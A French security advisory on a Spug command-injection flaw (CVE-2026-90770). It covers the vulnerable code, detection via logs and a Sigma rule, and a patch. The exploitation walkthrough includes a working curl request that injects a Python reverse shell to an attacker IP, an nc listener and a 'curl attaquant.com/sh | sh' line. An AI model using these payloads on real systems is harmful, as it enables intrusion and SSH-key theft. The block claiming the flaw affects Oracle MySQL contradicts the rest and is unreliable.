Aller au contenu

CVE-2026-90770 : injection de commandes système et RCE dans le Point de terminaison ping_check de spug

HERMES

SCORE DE MENACE HERMES & PRISE DE CONTRÔLE DE L'INFRASTRUCTURE DEVOPS

Cible : Plateforme de déploiement automatisé Spug — Sous-système de surveillance ping_check
Confiance : 96%
91 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 18 / 20
Militarisation 19 / 20
Exposition 18 / 20
Prévalence 16 / 20
Impact 20 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue à la CVE-2026-90770 le score de 8.8 élevé en considérant les privilèges faibles requis (PR:L). Le score Hermes Threat Score requalifie cette faille à 91 (CRITIQUE). En tant que plateforme centrale de déploiement continu et de gestion de serveurs, Spug constitue un nœud d'administration névralgique hébergeant les clés privées SSH, les jetons de build et les accès root à l'ensemble du parc de production. L'obtention d'un shell interactif sur le serveur maître Spug permet à un attaquant ou un utilisateur malveillant d'extraire tous les secrets enregistrés et de pivoter latéralement vers l'ensemble des serveurs cibles.

HASS

SÉVÉRITÉ AGENTIQUE HASS & COMPROMISSION DU DÉPLOIEMENT AUTOMATISÉ

Cible : Orchestrateur de flotte CI/CD, clés privées SSH et contrôle d'infrastructure
Confiance : 93%
87 / 100
ÉLEVÉ

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 17 / 20
Accès aux outils & APIs 19 / 20
Privilege 14 / 15
Persistence 13 / 15
External Impact 13 / 15
Propagation 11 / 15
⚖️ Divergence & Justification opérationnelle

Les agents DevOps autonomes et assistants de déploiement s'interfacent directement avec des plateformes comme Spug pour automatiser les mises en production, le provisionnement et les contrôles d'état. Une vulnérabilité d'injection de commandes dans les routines de supervision expose directement l'environnement d'exécution de ces outils. Une fois le contrôleur compromis, un attaquant peut corrompre les pipelines de distribution logicielle et déployer des portes dérobées sur les nœuds de production.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-90770: Spug Deployment Platform ping_check OS Command Injection RCEVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTOracle MySQL Server & Database Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”

Preuves vérifiées associées :

Le module de surveillance de Spug fournit des sondes d’accessibilité réseau (ping et vérification de port TCP). Un opérateur peut lancer un test de connectivité immédiat depuis l’interface web :

POST /api/monitor/run_test/ HTTP/1.1
Host: spug.internal.corp:8000
Authorization: Bearer <jeton_operateur>
Content-Type: application/json
{
"type": "1",
"addr": "192.168.1.1; id > /tmp/pwned",
"extra": "{\"rate\": 2}"
}
ParamètreDétail techniqueImpact opérationnel
Identifiant CVECVE-2026-90770NVD / Communauté OpenSpug
Classe de vulnérabilitéInjection de commande OS (CWE-78)Exécution de code à distance authentifiée
Point d’accès vulnérablePOST /api/monitor/run_test/ (ping_check)API web d’administration
Prérequis d’accèsCompte authentifié à faibles privilèges (PR:L)Rôle d’opérateur de surveillance ou développeur
Mécanisme sous-jacentInterpolation directe de chaîne dans subprocess.Popen(shell=True)Exécution native via /bin/sh
Privilèges systèmeUtilisateur du processus Spug (souvent root sous Docker)Prise de contrôle totale de l’hôte et vol de clés
Versions affectées<= 3.4.0Déploiements en production

La faille provient d’une construction de commande non sécurisée dans le fichier spug_api/apps/monitor/views.py.

Dans la fonction ping_check, l’adresse cible transmise dans le corps JSON est concaténée directement dans la chaîne de commande passée au shell :

# Modèle d'implémentation vulnérable dans spug_api/apps/monitor/views.py
def ping_check(addr):
# FAILLE : addr est injecté directement dans la commande sans validation
cmd = f"ping -c 2 -W 2 {addr}"
# FAILLE : shell=True confie l'interprétation des métacaractères au shell système
res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = res.communicate()
return res.returncode == 0

L’argument shell=True délégant l’évaluation de la ligne de commande à /bin/sh -c, les séparateurs de commandes permettent d’enchaîner l’exécution d’un binaire malveillant dès la fin ou l’échec de la commande ping.

flowchart TD
A["Utilisateur authentifié / Identifiants compromis"] -->|"POST /api/monitor/run_test/<br/>addr = '1.1.1.1; curl attaquant.com/sh | sh'"| B["Passerelle API Django Spug"]
B -->|"Extraction du paramètre 'addr'"| C["Fonction ping_check(addr)"]
C -->|"f'ping -c 2 -W 2 {addr}'"| D["subprocess.Popen(cmd, shell=True)"]
D -->|"/bin/sh -c 'ping ...; curl ... | sh'"| E["Système d'exploitation hôte"]
E -->|"Connexion shell inversé"| F["Serveur de commande et contrôle (C2)"]
F -->|"Lecture de /spug/data/db.sqlite3"| G["Exfiltration des clés privées SSH du parc"]
G -->|"Mouvement latéral automatisé"| H["Compromission totale de la flotte de production"]
classDef danger fill:#ff4d4f,stroke:#fff,stroke-width:2px,color:#fff;
classDef warning fill:#faad14,stroke:#fff,stroke-width:2px,color:#000;
classDef neutral fill:#1f2937,stroke:#fff,stroke-width:1px,color:#fff;
class E,F,G,H danger;
class C,D warning;
class A,B neutral;

Le schéma d’exploitation complet s’articule comme suit :

  1. Accès initial et session : l’attaquant obtient des identifiants restreints sur l’interface Spug (bourrage d’identifiants ou compromission d’un service d’intégration continue).
  2. Préparation de la charge utile : l’attaquant positionne un écouteur réseau en attente d’un shell interactif :
    Fenêtre de terminal
    # Écouteur distant de l'attaquant
    nc -lvnp 4444
  3. Exploitation de l’API : l’attaquant émet une requête forgée vers /api/monitor/run_test/ :
    Fenêtre de terminal
    curl -X POST "http://spug-host:8000/api/monitor/run_test/" \
    -H "Authorization: Bearer <jeton_jwt>" \
    -H "Content-Type: application/json" \
    -d '{"type": "1", "addr": "127.0.0.1; python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('\"'10.10.14.5'\"',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])\""}'
  4. Exécution du shell : le backend Spug transmet la commande au shell /bin/sh. L’interpréteur Python lance le reverse shell sous le compte de service de Spug.
  5. Rebond sur le parc de production : depuis le shell obtenu, l’attaquant consulte la base de données locale (spug_api/data/spug.db). Il extrait l’ensemble des clés privées SSH enregistrées pour les serveurs gérés et prend le contrôle de l’infrastructure de production.

Examiner les journaux Nginx ou Gunicorn à la recherche de requêtes ciblant /api/monitor/run_test/ :

198.51.100.23 - - [20/Sep/2026:04:15:10 +0000] "POST /api/monitor/run_test/ HTTP/1.1" 200 45 "http://spug-host/" "Mozilla/5.0"

Corréler les horodatages des requêtes HTTP avec les événements de création de processus sur la machine hôte.

  • En fonctionnement normal, les processus de travail Gunicorn ne doivent engendrer que des tâches Celery ou des processus de déploiement tracés.
  • L’apparition d’un shell /bin/sh, /bin/bash, nc ou de commandes Python interactives ayant pour parent un worker Gunicorn constitue un indicateur formel d’injection de commande.
PID PPID CMD
1042 1 /usr/local/bin/python manage.py runserver (ou worker gunicorn)
11892 1042 /bin/sh -c ping -c 2 -W 2 127.0.0.1; python3 -c ...
11893 11892 python3 -c import socket...
11894 11893 /bin/sh -i

title: Worker Spug engendrant un shell interactif
id: 9a204128-4f11-4a2b-9077-0cve2026spug
status: experimental
description: Détecte les shells interactifs ou utilitaires réseau lancés par les processus de l'application web Spug, signe d'une exploitation de CVE-2026-90770.
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'spug'
- 'manage.py'
- 'gunicorn'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/ncat'
filter_legit_deploy:
CommandLine|contains: 'deploy_task'
condition: selection_parent and selection_child and not filter_legit_deploy
level: critical
tags:
- attack.execution
- attack.t1059.004
- cve.2026-90770

  1. Application du correctif de code : modifier spug_api/apps/monitor/views.py pour supprimer shell=True et passer la commande sous forme de liste d’arguments après validation stricte par expression régulière :
    import re
    import subprocess
    IP_DOMAIN_REGEX = re.compile(r'^[a-zA-Z0-9\.\-:]+$')
    def ping_check(addr):
    # Contrôle strict du format de l'adresse
    if not IP_DOMAIN_REGEX.match(addr):
    return False
    # Suppression de shell=True et passage d'une liste immuable d'arguments
    cmd = ["ping", "-c", "2", "-W", "2", addr]
    res = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)
    return res.returncode == 0
  2. Mettre à jour spug : installer une version supérieure à la 3.4.0 dès publication par le mainteneur du projet.
  • Moindre privilège du conteneur : ne jamais faire tourner le conteneur Spug en tant que root. Définir un utilisateur non privilégié avec un système de fichiers en lecture seule (readOnlyRootFilesystem: true).
  • Cloisonnement des clés SSH : sur les serveurs distants gérés, restreindre les clés SSH autorisées aux seules commandes de déploiement nécessaires via la directive command="..." dans le fichier authorized_keys.